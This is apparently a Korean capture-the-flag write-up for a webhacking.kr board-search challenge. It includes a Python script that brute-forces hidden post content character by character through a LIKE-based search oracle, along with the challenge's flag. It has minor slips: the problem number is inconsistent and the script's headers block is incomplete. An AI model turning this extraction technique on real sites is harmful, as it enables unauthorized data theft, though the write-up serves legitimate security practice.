
1. 문제 정보
- 문제 번호 : old -61
- 문제 점수 : 25점
2. 문제 분석
56번 문제에 들어가면 BOARD가 들어가고 search가 나온다.

subject에서 readme를 누르면 access denied가 뜨고 hi~를 누르면 hello가 나온다.


read me에 내용을 읽어야할 것 같다.
search버튼에 1,id, sub,0을 눌러도 아무것도 안나온다 하지만 hi를 눌러보면 admin이 나왔다
그래서 내용을 기반으로 검색하는 거 같아 hello를 검색하니 guest가 나왔다.
sql에서 검색을 아래 쿼리로 하고 있는 것 같다.
SELECT * FROM board WHERE content LIKE '%{검색어}%'

3. 풀이
내용을 바탕으로 검색하니까 readme의 내용을 유츄해보면 flag가 있을 것이다. flag를 입력해보면 admin이 뜬다.

그리고 그 다음 문자들을 순차적으로 하나씩 대입해보면 flag{hi까지 찾았는데 파이썬 스크립트로 자동화 해보자
import requests
import string
# 대상 URL
url = "https://webhacking.kr/challenge/web-33/index.php"
# 사용자 세션 쿠키 (제공해주신 데이터 적용)
cookies = {
"PHPSESSID": ""
}
# 헤더 설정 (WAF 우회 및 일반 브라우저처럼 보이기 위함)
headers = {
"User-Agent":
"Content-Type":
}
# 검색 가능한 문자열 집합 (알파벳, 숫자, 특수문자 등)
# SQL 와일드카드인 _ 와 % 는 문맥에 따라 주의가 필요합니다.
chars = string.ascii_letters + string.digits + "}_?"
# 현재까지 알아낸 플래그 (제공해주신 내용)
# 주의: 만약 _가 와일드카드로 쓰였다면 실제 문자는 다를 수 있습니다.
# 여기서는 입력하신 그대로 시작점으로 잡습니다.
current_flag = "flag{hi"
print(f"Brute Force : {current_flag} ")
while True:
found_char = False
for char in chars:
# 테스트할 페이로드 구성
# SQL 검색 구문에 따라 % 와일드카드가 필요할 수도 있습니다.
# 예: payload = current_flag + char + "%"
# 여기서는 단순히 문자열을 이어 붙여 전송합니다.
payload = current_flag + char
data = {
"search": payload
}
try:
response = requests.post(url, headers=headers, cookies=cookies, data=data)
# 참/거짓 판별 로직
# 응답에 "admin" 텍스트가 포함되어 있거나
# Content-Length가 373 근처라면 참으로 간주
if "admin" in response.text and "<td>admin</td>" in response.text:
current_flag += char
print(f"find: {current_flag}")
found_char = True
break
except Exception as e:
print(f"에러 발생: {e}")
break
# 해당 위치의 문자를 찾지 못했거나 플래그가 닫는 괄호 }로 끝나면 종료
if not found_char:
print("더 이상 매칭되는 문자를 찾을 수 없습니다.")
break
if current_flag.endswith("}"):
print(f"FLAG: {current_flag}")
break


그런데 여기서 조심해야할 것이 _ 와일드 카드이다.
와일드 카드는 _에 어떤 값이 들어가도 무시하고 실행한다 따라서 _를 다른 값보다 먼저 검사하면 _가 먼저 참이 되므로 조심해야한다.
따라서 코드에서chars = string.ascii_letters + string.digits + "}?_"로 변경하면 flag는 이렇게 나온다.
flag{himiko_toga_is_cute_dont_you_think_so?}
4. 요약
- 게시판 검색 기능에서 readme 내용에 포함된 플래그를 찾기 위해 참과 거짓 반응을 구분하는 Blind SQL Injection 공격을 수행하는 문제이다.
- 파이썬 스크립트로 자동화하던 중 SQL의 LIKE 연산자에서 와일드카드로 쓰이는 _ 문자가 모든 문자와 매칭되어 오탐지를 유발하는 논리적 오류를 발견했다.
- 이를 해결하기 위해 _ 문자를 검사 리스트의 가장 마지막 순서로 배치하여 우선순위를 낮춤으로써 정확한 플래그를 얻었다
'워게임 > webhacking.kr' 카테고리의 다른 글
| [webhacking.kr] old-11 문제 (0) | 2026.02.02 |
|---|---|
| [webhacking.kr] old-4 문제 (0) | 2026.02.02 |
| [webhacking.kr] old-59 문제 (0) | 2026.02.02 |
| [webhacking.kr] old-61 문제 (0) | 2026.02.02 |
| [webhacking.kr] old-10 문제 (0) | 2026.01.30 |